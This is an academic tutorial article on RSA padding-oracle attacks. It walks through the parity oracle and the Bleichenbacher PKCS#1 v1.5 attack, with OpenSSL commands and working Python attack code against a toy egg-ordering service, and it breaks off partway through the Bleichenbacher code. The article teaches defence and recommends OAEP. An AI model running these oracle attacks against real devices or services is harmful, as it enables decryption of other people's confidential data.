Practical Padding Oracle Attacks on RSA

Riccardo Focardi

<focardi@dsi.unive.it>

In Hakin9 - Defend Yourself! Hands-on Cryptography, September 2012.

Post you comments here

More on the author at secgroup@Unive

Abstract

We revise attacks on the RSA cipher based on side-channels that leak partial information about the plaintext. We show how to compute a plaintext when only its parity is leaked. We then describe PKCS#1 v1.5 padding for RSA and we show that the simple leakage of padding errors is enough to recover the whole plaintext, even when it is unpadded or padded under another scheme. This vulnerability is well-known since 1998 but the flawed PKCS#1 v1.5 padding is still broadly in use. We discuss recent optimizations of this padding oracle attack that make it effective on commercially available cryptographic devices. We illustrate through many examples and fragments of code.

1. Introduction

Cryptography is a fundamental mechanism for secure computation. It is extremely important in distributed environments when devices need to remotely communicate and perform critical tasks. Cryptographic tokens, smartcards and embedded secure cryptoprocessors are becoming very popular as applications can in principle delegate to them any cryptographic operation. Keys are securely stored in a tamper-resistant chip and cryptography is performed by the cryptographic device so that keys are never exposed.

PKCS#11 is one of the standard API for cryptographic devices. It specifies a multitude of operations and mechanisms that can be performed by a PKCS#11 compliant device. Most of the commercially available cryptographic tokens and smartcards are, in fact, PKCS#11 compliant. The API is very complex and flexible and, quite surprisingly a complete compliance to the standard is likely to make the device flawed. In [BCFS10] we have shown that many commercially available devices are vulnerable to attacks that allow to *leak sensitive keys* by combining commands in unexpected ways [C03] [DKS08]. In the same paper, we develop a tool named Tookan that automatically builds a model of the analysed device and looks for real attacks. If the device is flawed, it is possible to modify the model in order to experiment with various fixes. This should help manufacturers and end-users to fix or, when possible, configure the devices so that attacks are prevented.

In this article we discuss a different class of attacks that we have recently investigated on PKCS#11 devices [BFKSST12]. We have realized, in fact, that many commercially available devices implement PKCS#1 v1.5 padding which is known to be affected by a side-channel vulnerability since 1998, the year when Bleichenbacher published his attack [B98]. Bleichenbacher's attack is based on a *padding oracle* just revealing whether or not a decrypted message is correctly padded according to PKCS#1 v1.5. The attack finds the whole plaintext, even when it is unpadded or padded under another scheme. In the PKCS#11 API, the `C_UnwrapKey` command allows for importing a key encrypted under another one, e.g., under a RSA public key. In our study, we have shown that many devices return errors that are suitable for implementing the padding oracle attack.

Padding oracle attacks are not the only example of side-channels leaking partial information about the plaintext. In another recent study [FL12] we have investigated attacks that allows to recover bank PINs in a way that is very similar to the *Mastermind game*: one player (the attacker) makes a guess and the other one (the bank Hardware Security Module device) gives a partial information about its correctness.

We insist that these side-channel attacks are very dangerous and effective on real devices and should be regarded as such by hardware manufacturers and software developers. To prevent the Bleichenbacher attack it is enough to adopt OAEP padding, which is already in the standard and is recommended for all new applications since version v2.1 (2002). It is crucial, however, that PKCS#1 v1.5 and OAEP are not allowed on the same key as Bleichenbacher's attack is effective even on messages padded under different schemes. The RSA SecureID is the only device among the one we analysed that implements OAEP but unfortunately it does not prevent switching to PKCS#1 v1.5, which makes the attack possible even on OAEP padded ciphertexts.

Our presentation is general and independent of the specific setting. We do not explain or discuss the PKCS#11 API for smartcards and cryptographic tokens. We focus, instead, on padding oracle attacks and we explain the new optimizations proposed in [BFKSST12] that make them very effective on commercially available devices.

More specifically, we start giving simple tools for Playing with RSA. This will be useful to have a practical experience with the RSA cipher and its basic operations. We will discuss, in particular, The multiplicative property of RSA that is fundamental to implement side-channel attacks on the cipher. We will then illustrate A simple parity side-channel. This is a well-known attack in which leaking the parity of the plaintext allows the recovery of the whole plaintext. We will then have a closer look at the PKCS#1 v1.5 padding that will allow us to describe in detail The Bleichenbacher attack. We will conclude by illustrating Practical attacks on cryptographic hardware which are based on new optimizations of the Bleichenbacher attack [BFKSST12].

2. Playing with RSA

We introduce RSA giving some simple tools to "play" with it. The only thing we need to recall of RSA is that encryption E(m) and decryption D(y) are defined as *exponentiation modulo a big n* (at least 1024 bits), respectively using the public *e* and the private *d* exponent. Encryption and decryption are such that such that D(E(m)) = m.

RSA encryption and decryption

$E(m) = m^e \bmod n$

$D(y) = y^d \bmod n$

The OpenSSL toolkit provides very flexible command line tools to perform cryptographic operations. Let us generate a real 1024 bit RSA key-pair using the `genrsa` command: [1]

```
$ openssl genrsa -out key 1024
Generating RSA private key, 1024 bit long modulus
....++++++
......++++++
e is 65537 (0x10001)
```

The key has been saved into file named `key` (option `-out`). You can see that the encryption exponent *e* is set to the constant `65537`, i.e., `0x10001`. This is a standard way to make encryption faster: smaller exponents allows for faster exponentiation. Let us have a closer look at the generated key using the `pkey` command with `-text` option, which prints in plain text the various key components.

```
$ openssl pkey -in key -text
...
Private-Key: (1024 bit)
modulus:
    00:a5:8b:fc:62:ab:e4:0a:57:d2:87:86:0f:39:5a:
    77:05:ab:05:34:ee:b2:bb:59:11:31:a9:3d:62:7d:
    d2:56:4b:61:eb:de:2a:43:08:2a:50:fb:d8:4d:30:
```

```
    8d:1f:70:b7:cd:7d:c4:ac:a6:23:9a:be:46:ff:76:
    d2:a7:13:50:34:c2:f8:d4:77:d5:e1:43:8b:57:23:
    0b:15:7c:71:c1:eb:44:b6:2c:bf:5e:2c:ca:14:b9:
    56:97:9c:3b:48:e7:ae:44:75:dd:4d:b8:e7:2e:bd:
    55:59:bd:e3:f2:81:c8:ee:75:c0:8e:23:c6:96:0e:
    1e:16:69:fa:c9:1a:81:5c:67
publicExponent: 65537 (0x10001)
privateExponent:
    66:f8:fd:23:6f:22:28:a0:da:0e:7c:7f:e9:bf:f0:
    ba:f0:d7:0b:46:d2:9c:20:59:c6:97:2b:dc:a0:c0:
    fd:f6:63:d1:70:5e:bf:55:4b:e5:15:d2:44:a9:47:
    8e:df:f1:24:7b:ef:a3:28:b0:8a:e7:82:88:13:24:
    12:d2:bb:97:25:8a:7c:23:e5:ea:4d:48:07:57:93:
    11:6e:49:82:81:17:76:8a:ee:82:2d:1f:87:11:3c:
    a6:ac:d2:5e:bf:8f:6a:73:9d:e3:40:2e:8e:cf:07:
    33:fc:42:d1:c7:0f:cb:0d:d1:48:f9:b8:7d:4b:cd:
    30:9c:5f:05:da:23:8d:01
...
```

In particular, we see the modulus and the private exponent. Let us try to encrypt a small sample plaintext (a single byte `0x01`) using `rsautl`, with *no padding* (option `-raw`). Option `-inkey` specifies the file `key` containing the public exponent and the modulus. We save the ciphertext in file `enc01` (option `-out`).

```
$ echo -ne "\x01" | openssl rsautl -encrypt -inkey key -raw -out enc01
RSA operation error
... RSA_padding_add_none:data too small for key size:rsa_none.c:76:
```

Interestingly, we get an error: OpenSSL refuses to encrypt one single byte with no padding. in `-raw` mode we have to provide all the 1024/8 = 128 bytes of the plaintext: in other words, we have to manually pad the plaintext. We use *perl* to pad `0x01` with 127 `0x00` bytes:

```
$ perl -e 'print "\x00"x127 . "\x01"' | openssl rsautl -encrypt -inkey key -raw -out enc01
```

The obtained ciphertext is a 128 byte (1024 bits) long binary file that we can inspect with *hexdump*:

```
$ hexdump -e ' 128/1  "%02x" "\n" ' enc01
000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000001
```

Mh, this is annoying: the ciphertext is the same as the plaintext! Well, E(m) is m^e mod n = 1^{65537} mod n = 1 so, in fact, the encryption of `0x01` is `0x01`. This is a simple example showing that a `0x00` padding is not a good idea.

> In general, encrypting one byte without any randomized padding is completely insecure as the plaintext would be disclosed by a simple *brute-forcing* on the 256 possible values: we encrypt any value from 0 to 255 using the public exponent and we compare the resulting ciphertexts with the given one. Deterministic public key cryptography is always subject to these chosen-plaintext attacks.

Even if we would never use in practice `0x00` padding let us stick to it for a moment. We encrypt `0x02` to see if we get a more interesting ciphertext:

```
$ perl -e 'print "\x00"x127 . "\x02"' | openssl rsautl -encrypt -inkey key -raw -out enc02
$ hexdump -e ' 128/1  "%02x" "\n" ' enc02
2255b8d54242f66920a750d97f07775d87f3d3cf266f8bb8bed81ab38442532edf1d74e14460bd
27cb3275f141004a4c5ef156b1e212adebf1317c15f26db6bd32ce5ad1f9631723c5b816805281
```

```
a441fa98595e1051a1a03cde51964680085cc3a22032395f2defc0c094878eea67b222ce42e6c4
2080d8f02258a3cdee8676
```

This looks more like what we had in mind thinking of a ciphertext.

We now show that it is very simple to encrypt under RSA using *python*, as it provides a simple native support for very long integers. We exploit `translate` and `int` to directly convert the OpenSSL RSA modulus into a number.

```
$ python
>>> modulus = '''
    00:a5:8b:fc:62:ab:e4:0a:57:d2:87:86:0f:39:5a:
    77:05:ab:05:34:ee:b2:bb:59:11:31:a9:3d:62:7d:
    d2:56:4b:61:eb:de:2a:43:08:2a:50:fb:d8:4d:30:
    8d:1f:70:b7:cd:7d:c4:ac:a6:23:9a:be:46:ff:76:
    d2:a7:13:50:34:c2:f8:d4:77:d5:e1:43:8b:57:23:
    0b:15:7c:71:c1:eb:44:b6:2c:bf:5e:2c:ca:14:b9:
    56:97:9c:3b:48:e7:ae:44:75:dd:4d:b8:e7:2e:bd:
    55:59:bd:e3:f2:81:c8:ee:75:c0:8e:23:c6:96:0e:
    1e:16:69:fa:c9:1a:81:5c:67
'''
>>> n = int(modulus.translate(None,'\n :'),16)
>>> hex(n)
'0xa58bfc62abe40a57d287860f395a7705ab0534eeb2bb591131a93d627dd2564b61ebde2a430
82a50fbd84d308d1f70b7cd7dc4aca6239abe46ff76d2a7135034c2f8d477d5e1438b57230b157
c71c1eb44b62cbf5e2cca14b956979c3b48e7ae4475dd4db8e72ebd5559bde3f281c8ee75c08e2
3c6960e1e1669fac91a815c67L'
>>> e = 0x10001
>>> m = 0x02
>>> enc = (m ** e) % n
>>> hex(enc)
'0x2255b8d54242f66920a750d97f07775d87f3d3cf266f8bb8bed81ab38442532edf1d74e1446
0bd27cb3275f141004a4c5ef156b1e212adebf1317c15f26db6bd32ce5ad1f9631723c5b816805
281a441fa98595e1051a1a03cde51964680085cc3a22032395f2defc0c094878eea67b222ce42e
6c42080d8f02258a3cdee8676L'
```

Very simple! We have encrypted `0x02` under the public exponent e = `0x10001` by just rising it to e modulo n, written `(m ** e) % n`. The result is the same we obtained with OpenSSL (the ending “L” stands for long).

The multiplicative property of RSA

We are specifically interested in illustrating a very powerful property of RSA: the multiplication (modulo n) of two ciphertexts is the same as the encryption of the multiplication of the two plaintexts. We will refer to this as the *multiplicative property* of the cipher:

$$E(m)E(s) \bmod n = E(ms \bmod n)$$

> Proof is trivial by definition of E(m) since $E(m)E(s) = m^e s^e \bmod n = (ms)^e \bmod n = (ms \bmod n)^e \bmod n$.

We illustrate with a simple example. Let us consider the encryption of byte `0x03`. We compute it using python:

```
>>> enc3 = (0x03 ** e) % n
>>> hex(enc3)
'0x5be3f6b79c93ab48b0e4da4a528680e5187cc4b533f5e829ea970b13a7a4097eaafaddca3ee
02f8e07289bc7669225a175cea740e6bfd4c92065b25f525914427e8280e36978bfe4d148d132a
0dca7b83a648ffbfe4e1551d04bbba49b6e373ee4df81d0ef60ae8965ef35bcbfcbf7a834db573
```

```
287c97c9bc191f9051fbbb086L'
```

We now multiply (modulo n) the obtained ciphertext with the one above (the encryption of `0x02`):

```
>>> mult = (enc3 * enc) % n
```

and we save the result in a binary file:

```
>>> import binascii
>>> b =  binascii.unhexlify('%0256x' % mult) # converts to
>>> f = open("multiplicative.out","w")
>>> f.write(b)
>>> f.close()
```

We can now decrypt the obtained ciphertext using OpenSSL:

```
$ openssl rsautl -decrypt -inkey key  -raw -in multiplicative.out | \
 hexdump -e ' 128/1  "%02x" "\n" '
000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000006
```

Ah! We have actually obtained 6 = 3*2, i.e., the product of the two plaintexts.

> if we tried to compute decryption with python we would find out that rising to a big private exponent does not terminate. Exponentiation, if not smartly implemented, is exponential in the number of bits. To make it converge we have to implement a fast exponentiation algorithm such as the well-known *square-and-multiply* (see, for example, [So6]). This can be done in a few python lines but it is out of the scope of the present article and we leave it as an exercise to the interested reader.

3. A simple parity side-channel

Before illustrating padding oracle attacks we give a simple example of side-channel in which a single bit of the plaintext is revealed: its *parity*. It is well-known that leaking the parity of an RSA encrypted message allows the recovery of the whole message (see, for example, [So6]). This fact is sometimes regarded as a good property of the cipher: if there is no way to compute the plaintext we are also guaranteed that it is not even possible to just compute the parity bit of the plaintext (as otherwise we would use the attack to reconstruct the whole message).

Example 1. The even eggs farm

> For packaging reasons, the EEGGs farm only sell an even number of eggs to customers. In order to guarantee the highest privacy standard possible, all orders are encrypted under a 1024-bit RSA public key. We know how to encrypt a message with OpenSSL, so let's try to place two encrypted orders of respectively `0x10` and `0x11` eggs:
>
> ```
> $ echo -ne "\x10" | openssl rsautl -encrypt -inkey key  | ./EEGGs
> OK
> $ echo -ne "\x11" | openssl rsautl -encrypt -inkey key  | ./EEGGs
> Sorry, only an even number of eggs can be ordered
> ```
>
> This is an example of side channel. The application is giving a partial information about the

> plaintext. The EEGGs service can be seen as an *oracle* revealing the parity of the plaintext. Parity seems to be innocuous but, as said above, it can be exploited to recover the whole encrypted message.

We describe the attack step-by-step. Consider the following ciphertext:

```
$ hexdump -e ' 128/1  "%02x" "\n" ' enc_message
67d39413a1d1cd5a46d634a925bc8dad372f38c93c24330a45ac824c962ff9fd2b4936374ece2c
8eecbdefc3b4cacdf29f342efd5cc11fe9f1e797c265804b1ddf17d72cbc4bc1326bc02e484b6d
369d2b1afd60e2fa007f1c510086296c3e0a7b64d1297dd948fb560f94605197da6252febe3e97
c160bd91902efbc62a8e36
```

We can check the parity of the plaintext calling our EEGGs *parity oracle*:

```
$ cat enc_message | ./EEGGs
OK
```

We thus know that the (unknown) plaintext m ends-up with a 0 bit. Now, think of multiplying m by 2, modulo n. If m < n/2 we have that 2m mod n = 2m which is even. If instead m > n/2 we obtain that 2m mod n = 2m - n, which is odd given that n is always odd (since it is the picked as the product of two large primes). The following table summarizes:

Range for m		2m mod n	Parity
0	n/2	2m	even
n/2	n-1	2m - n	odd

Thus, if we multiply the ciphertext by the encryption of 2 and we call the parity oracle on the obtained ciphertext we discover whether the plaintext is in the first or second half of the interval [0,n-1]. For example, picking a *toy* modulus n = 21:

Value of m	2m mod 21	Parity	Range for m	
6	12	even	0	10.5
11	22-21=1	odd	10.5	20

This sound promising as it (almost) halves the number of possible candidates for m.

If we multiply by 4 we obtain four cases:

Range for m		4m mod n	Parity
0	n/4	4m	even
n/4	n/2	4m - n	odd
n/2	3n/4	4m - 2n	even
3n/4	n-1	4m - 3n	odd

Looking at the parity of 4m mod n we thus discover whether it belongs to first/third or second/fourth quarter interval.

It is easy to generalize this argument to 2^i m mod n for the i-th step. This is enough to implement a *binary search*: at each step we split the interval of possible plaintexts in two and we then descend into the correct one depending on the parity, which is disclosed by the oracle. The following python program finds the plaintext. We use *decimal* for arbitrary precision floats which makes it easy to split intervals in two without approximation errors.

```
import math,binascii
from decimal import *
from subprocess import *

# modulus and encryption exponent
n = 0xa58bfc62abe40a57d287860f395a7705ab0534eeb2bb591131a93d627dd2564b61ebde2a
43082a50fbd84d308d1f70b7cd7dc4aca6239abe46ff76d2a7135034c2f8d477d5e1438b57230b
157c71c1eb44b62cbf5e2cca14b956979c3b48e7ae4475dd4db8e72ebd5559bde3f281c8ee75c0
8e23c6960e1e1669fac91a815c67
e = 0x10001

# reads the encrypted message
f = open('enc_message')
data = f.read()
f.close()
y = int(binascii.hexlify(data),16)

enctwo = (2 ** e) % n # the encryption of 2

# The parity oracle: calls EEGGs and returns True when it gets an OK answer
def parity(y,n):
    p = Popen(['./EEGGs'], stdin=PIPE, stdout=PIPE)
    bin_y = binascii.unhexlify('%0256x' % y)  # converts long int into bytes
    ret = p.communicate(bin_y) # calls EEGGs
    if ret[0] == 'OK\n': # if the answer is OK
        return True
    else:
        return False

# do the binary search
def partial(y,n):
    k = int(math.ceil(math.log(n,2)))  # n. of iterations
    getcontext().prec = k    # allows for 'precise enough' floats
    l=Decimal(0)
    u=Decimal(n)
    for _ in range(k):
        h = (l+u)/2
        if parity(y,n):
            u = h            # we get the left interval
        else:
            l = h            # we get the right interval
        y=(y*enctwo) % n     # multiply y by the encryption of 2
    return int(u)

print '%0256x' % partial((y*enctwo)%n,n) # print the result in hexadecimal
```

When we run it, after about half a minute (be patient as it calls the EEGGs oracle 1023 times) we obtain:

```
$ python parity.py
00023572e4bcc8df4c7e53f931c1d79addcc3d0412db8723e28c84a5f6340d0f95f9836b079076
69f2527eda22e1f80e6e2e4dac062326f5716fca45004c65616b696e672070617269747920616c
6c6f777320666f7220646563727970074696e6720612077686f6c652052534120656e6372797074
6564206d6573736167650a
```

This is an example of a PKCS#1 v1.5 padded ciphertext that we will discuss deeply in the next section. Let us have a quick look at it. It is composed of different parts:

- the first two bytes `0x00`, `0x02` identifies the padding
- then we have a stream of non-zero random padding: `3572e4bcc8df4c7e53f931c1d79addcc3d0412db8723e28c84a5f6340d0f95f9836b07907669f2527eda22e1f80e6e2e4dac062326f5716fca45`

- the next `0x00` is a separator
- the actual plaintext follows (it can contain zeros): `4c65616b696e6720706172697479206c6f777320666f72206465637279707469e67206120 77686f6c6520525341206e637279707465642 06d6573736167650a`

Mh, the plaintext really looks an ASCII message. Converting bytes into ASCII we obtain the following message:

> *Leaking parity allows for decrypting a whole RSA encrypted message*

4. PKCS#1 v1.5

We have seen an example of PKCS#1 v1.5 padded plaintext. Let us revise this padding scheme more in detail. A padded message is composed of different parts:

0002	RANDOM PAD	00	MESSAGE

The first two constant bytes (`0x00`, `0x02`) identify the scheme. Then we have at least 8 non-zero random bytes of padding followed by a `0x00` separator. The actual message follows. The whole padded message must fit the key size exactly. For example, for a 1024-bit key it must be 128 bytes. This is achieved by inserting a sufficient number of random bytes.

We have seen an example in the previous section. Let us show another simple one. Suppose we want to encrypt the message *hello world!*, i.e., the 12 bytes `68656c6c6f20776f726c6421`. Suppose the key is 1024 bits. Thus we need to add 128 - 12 - 3 = 113 bytes of random padding obtaining something of the form:

0002	09ad829ffb3a98b91a1b … 089333f7ca7b4070f272	00	68656c6c6f20776f726c6421

It is interesting to see what happens when a padded message is decrypted.

- the first two bytes are checked (they must be `0x00 0x02` which identify PKCS#1 v1.5 padding). If they do not match an error message is returned;
- the next bytes are inspected until a `0x00` is found. If the number of non-zero bytes is less than 8 or a `0x00` is not found, an error message is returned;
- what follows the `0x00` separator is returned as plaintext.

Let us do a few experiments to see how this works in practice. We have already seen that option *-raw* tells OpenSSL not to pad the plaintext. This allows us to manually pad and encrypt it. We then decrypt the ciphertext without the -raw option which by default uses PKCS#1 v1.5. We see that the message is correctly decrypted.

```
$ echo -en '\x00\x02\x09\xad\x82\x9f\xfb\x3a\x98\xb9\x1a\x1b\xe5\x3c\x6d\x61'\
'\x88\x45\x6f\x19\x2e\x85\x0c\x9d\x23\x89\x98\xa3\x95\x58\x74\x21\x86\x97\x04'\
'\x3f\x5a\x11\xb4\x93\x6e\xfd\x3f\xbe\xc0\x0b\xed\x3c\x10\x03\x19\x99\x13\x9c'\
'\x04\x4a\x79\xbb\x94\x75\xcb\x50\xc7\x2f\xd5\xd8\x6e\x38\xd3\xc5\x6c\xab\x5d'\
'\x19\x45\xb9\x31\xd4\x63\xd9\x58\x6c\x05\x29\xa2\xc8\xca\x8b\xb3\x17\x6a\xba'\
'\x6d\x3e\x32\xde\xeb\xe0\xbc\xa2\x20\x22\x86\x58\x2a\x08\x93\x33\xf7\xca\x7b'\
'\x40\x70\xf2\x72\x00\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x21'\
 | openssl rsautl -encrypt -inkey key -raw | openssl rsautl -decrypt -inkey key

hello world!
```

Let us now break the padding. We first change the second byte from `0x02` to `0x03`:

```
$ echo -en '\x00\x03\x09\xad\x82\x9f\xfb\x3a\x98\xb9\x1a\x1b\xe5\x3c\x6d\x61'\
'\x88\x45\x6f\x19\x2e\x85\x0c\x9d\x23\x89\x98\xa3\x95\x58\x74\x21\x86\x97\x04'\
'\x3f\x5a\x11\xb4\x93\x6e\xfd\x3f\xbe\xc0\x0b\xed\x3c\x10\x03\x19\x99\x13\x9c'\
'\x04\x4a\x79\xbb\x94\x75\xcb\x50\xc7\x2f\xd5\xd8\x6e\x38\xd3\xc5\x6c\xab\x5d'\
'\x19\x45\xb9\x31\xd4\x63\xd9\x58\x6c\x05\x29\xa2\xc8\xca\x8b\xb3\x17\x6a\xba'\
'\x6d\x3e\x32\xde\xeb\xe0\xbc\xa2\x20\x22\x86\x58\x2a\x08\x93\x33\xf7\xca\x7b'\
'\x40\x70\xf2\x72\x00\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x21'\
 | openssl rsautl -encrypt -inkey key -raw | openssl rsautl -decrypt -inkey key

RSA operation error
RSA_padding_check_PCKS1_type_2:block type is not 02:rsa_pk1.c:190:
padding check failed:rsa_eay.c:616:
```

As expected it returns an error: *block type is not 02*.

Let us see what happens, instead, if we insert a `0x00` in the second of the 8 bytes of padding:

```
$ echo -en '\x00\x02\x09\x00\x82\x9f\xfb\x3a\x98\xb9\x1a\x1b\xe5\x3c\x6d\x61'\
'\x88\x45\x6f\x19\x2e\x85\x0c\x9d\x23\x89\x98\xa3\x95\x58\x74\x21\x86\x97\x04'\
'\x3f\x5a\x11\xb4\x93\x6e\xfd\x3f\xbe\xc0\x0b\xed\x3c\x10\x03\x19\x99\x13\x9c'\
'\x04\x4a\x79\xbb\x94\x75\xcb\x50\xc7\x2f\xd5\xd8\x6e\x38\xd3\xc5\x6c\xab\x5d'\
'\x19\x45\xb9\x31\xd4\x63\xd9\x58\x6c\x05\x29\xa2\xc8\xca\x8b\xb3\x17\x6a\xba'\
'\x6d\x3e\x32\xde\xeb\xe0\xbc\xa2\x20\x22\x86\x58\x2a\x08\x93\x33\xf7\xca\x7b'\
'\x40\x70\xf2\x72\x00\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x21'\
 | openssl rsautl -encrypt -inkey key -raw | openssl rsautl -decrypt -inkey key

RSA operation error
RSA_padding_check_PCKS1_type_2:bad pad byte count:rsa_pk1.c:210:
padding check failed:rsa_eay.c:616:
```

This time we get *bad pad byte count* as the non-zero padding is required to be at least 8 bytes long.

Let us finally put a `0x00` in the ninth byte of the padding:

```
$ echo -en '\x00\x02\x09\xad\x82\x9f\xfb\x3a\x98\xb9\x00\x1b\xe5\x3c\x6d\x61'\
'\x88\x45\x6f\x19\x2e\x85\x0c\x9d\x23\x89\x98\xa3\x95\x58\x74\x21\x86\x97\x04'\
'\x3f\x5a\x11\xb4\x93\x6e\xfd\x3f\xbe\xc0\x0b\xed\x3c\x10\x03\x19\x99\x13\x9c'\
'\x04\x4a\x79\xbb\x94\x75\xcb\x50\xc7\x2f\xd5\xd8\x6e\x38\xd3\xc5\x6c\xab\x5d'\
'\x19\x45\xb9\x31\xd4\x63\xd9\x58\x6c\x05\x29\xa2\xc8\xca\x8b\xb3\x17\x6a\xba'\
'\x6d\x3e\x32\xde\xeb\xe0\xbc\xa2\x20\x22\x86\x58\x2a\x08\x93\x33\xf7\xca\x7b'\
'\x40\x70\xf2\x72\x00\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x21'\
 | openssl rsautl -encrypt -inkey key -raw | openssl rsautl -decrypt -inkey key
<ma?Eo.?
        ?#????Xt!???Z??n????
                            ?<??Jy??u?P?/??n8??l?]E?1?c?Xl)??Ʊ?j?m>2??ᵌ "?X?3??{@p?rhello world!
```

This does not break the padding. What follows the `0x00` byte we have inserted (which is interpreted as a separator) is returned as the plaintext. So we get a 128 - 11 = 117 byte long garbage message ending with "hello world!".

It should now be fairly clear how PKCS#1 v1.5 works and we can now see how to implement an attack exploiting a padding oracle.

5. The Bleichenbacher attack

In A simple parity side-channel we have seen how to exploit the multiplicative property of RSA to break a ciphertext, once the parity of the plaintext is leaked. Leaking one bit allows for discovering all the remaining ones. The algorithm is optimal as it builds an almost perfectly balanced search tree. Each parity leakage allows for splitting the interval of possible plaintexts in two sub-interval whose size differs at most by one.

Bleichenbacher's attack [B98] is similar in the spirit but is based on a rather different side-channel that we will call *padding oracle*. The attack works whenever a PKCS#1 v1.5 padding error is returned, telling that the decrypted message is not conforming to the padding scheme. We have seen a few examples in the previous section. The attack, in fact, exploits the cases in which the padding is accepted, as these reveal that the first two bytes are `0x00` and `0x02`.

Example 2. The eggs farm, revisited

> After the privacy of any order placed to the EEGGs farm was leaked by the parity side-channel, they decided to temporarily sell packages with an odd number of eggs. We can now place orders of any number of eggs:
>
> ```
> $ echo -ne "\x10" | openssl rsautl -encrypt -inkey key  | ./EEGGs
> OK
> $ echo -ne "\x11" | openssl rsautl -encrypt -inkey key  | ./EEGGs
> OK
> ```
>
> To prevent brute-forcing on the plaintexts, the new PEEGs e-commerce server is adopting PKCS#1 v1.5 padding for RSA encrypted orders. The above messages are in fact encrypted using PKCS#1 v1.5 padding (which is the default for OpenSSL). As done before, we use `-raw` to forge manually padded encrypted messages:
>
> ```
> $ perl -e 'print "\x00\x02" . "\x01"x124 . "\x00\x10" ' \
>   | openssl rsautl -encrypt -inkey key -raw | ./PEEGs
> OK
>
> $ perl -e 'print "\x00\x03" . "\x01"x124 . "\x00\x10" ' \
>   | openssl rsautl -encrypt -inkey key -raw | ./PEEGs
> Sorry, cannot decrypt your order.
> ```
>
> The latter message has a `0x03` byte instead of `0x02` which makes decryption fail. Telling customers that decryption failed seems harmful but still might allow attacks that recover the whole plaintext. Unfortunately our beloved eggs farm still suffers from a powerful attack based on a padding oracle, that we explain below.

If we let k be the size in bits of the RSA modulus and $B = 2^{(k-16)}$ we have that 1024-bits long numbers starting with `0x0002` are the ones in the interval [2B,3B-1].

PKCS#1 v1.5 padding oracle

The *padding oracle* O(y) returns true if and only if RSA decryption of y is correctly padded according to PKCS#1 v1.5.

If O(y) then we know $2B \leq m \leq 3B-1$, with $B = 2^{(k-16)}$

As for the simple parity side-channel, we exploit the multiplicative property of RSA to restrict this interval and converge to just one candidate. This is, however, not as simple as in the parity example.

Since the attack can take hundred thousands of steps it is useful to work directly on the plaintexts and *simulate* the padding oracle by simply checking whether or not the given plaintext is correctly padded. In this way we never perform encryption and decryption operations making the (simulated) attack extremely fast.

Simulating the attack

Let y = E(m). The only operations we perform during the attack are

queries O(y) to the padding oracle

> We consider a *simulating oracle* sO(m) that just checks PKCS#1 v1.5 compliance of m. The call to O(y) is simulated by sO(m);

multiplications y' = yE(s) mod n

> We simulate them by performing m' = ms mod n.

We illustrate the attack step by step, giving numerical example.

Assume for the moment that we want to break a ciphertext whose plaintext is known to be correctly padded. In Breaking unpadded ciphertexts we will see how to drop this assumption. Let m_0 note this correctly padded plaintext. We know it belongs to interval [2B,3B-1].

Narrowing the initial interval

We now compute $m_1 = m_0 s_1 \bmod n$, with different values of s_1 until we get that m_1 is correctly padded. This is discovered thanks to our (simulating) padding oracle sO(m). We know that also m_1 is in [2B,3B-1]. What does this tell us about the value of m_0?

We reason as follows: by definition of multiplication modulo n we have $m_1 = m_0 s_1 - rn$ for some positive integer r. Thus $m_0 s_1 = m_1 + rn$, i.e., $m_0 = (m_1 + rn) / s_1$. Since $2B \leq m_1 \leq 3B - 1$ we have

New intervals for m_0

$$(2B + rn) / s_1 \leq m_0 \leq (3B - 1 + rn) / s_1$$

Good, from the constraint that m_1 is in [2B,3B-1] we obtain new constraints for m_0. However, the above formula depends on the value of r which is unknown. This value is, intuitively, the number of times we have to subtract n to *go back* in the interval [0,n-1] after multiplication. This cannot be determined precisely (recall that we do not know m_0 and m_1) but we can limit its values based on the fact that both m_0 and m_1 are in [2B,3B-1]. In particular, since $r = (m_0 s_1 - m_1) / n$ we have

Possible values of r

$$(2Bs_1 - 3B + 1) / n \leq r \leq ((3B-1)s_1 - 2B) / n$$

> From the above formula we have $r \leq ((3B-1)s_1 - 2B) / n < 3Bs_1 / n$ which is 1 when $s_1 = n/3B$. Thus, if $s_1 \leq n/3B$ we have that $r < 1$ which implies $r = 0$. The consequence is that $m_1 = m_0 s_1$, i.e., the product is smaller than n. In this case m_1 can never be correctly padded as even for the smallest possible value of s_1 which is 2 we have $m_1 = m_0 s_1 >= 4B$. So we pick (the first integer greater than of equal to) n/3B as our starting value for s_1 and we try increasing by 1 until we find a correctly padded message. For this starting value of s_1 the range for r collapses to just one possible value. For example, for the modulus of our RSA key we can compute that the starting s_1 is 18921. Then we have only on value of r until s_1 becomes 56764. We have 2 possible values of r until s_1 is 132447, and so on.

How do we proceed when we find a m_1 conforming to PKCS#1 v1.5 padding? We pick all Possible values of r and we intersect interval [2B,3B-1] with the corresponding New intervals for m_0. We illustrate with an example.

Example run in Python

> Consider as plaintext m_0 the *hello world!* correctly padded message of section PKCS#1 v1.5. The following code searches for s_1, starting from value n/3B as explained in the above note.

Searching for s_1

```
# computes the smallest integer greater than or equal to x/y
def ceil(x,y):
    return x/y + (x%y != 0)

s1 = ceil(n,3*B) # this is the starting value for s1
print "[-] Starting search for s1 (from value %i)" % s1
i2a = 1          # counter for iterations
while True:
    m1 = (s1 * m0) % n
    if s0(m1):   # call the (simulated) oracle
        break    # padding is correct, we have found s1
    i2a += 1
    s1 += 1      # try next value of s1
print "[*] Search done in %i iterations" % i2a
print "    s1: %i" % s1
```

When we run it we get

```
[-] Starting search for s1 (from value 18921)
[*] Search done in 315339 iterations
    s1: 334259
```

Thus the value of s_1 found for this message is 334259. With this value, we obtain 12 ≤ r ≤ 17, i.e. 6 Possible values of r. Indeed, this is a rather *unfortunate* case as in practice r often ranges over only one or two values. Given this range for r we compute the corresponding 6 New intervals for m_0. The following code implements the task. Set `newM` contains the new possible intervals for m_0 encoded as pairs (a,b).

Narrowing the interval

```
B2,B3 = 2*B,3*B # constants to avoid recomputing them any time
newM = set([])  # collects new intervals
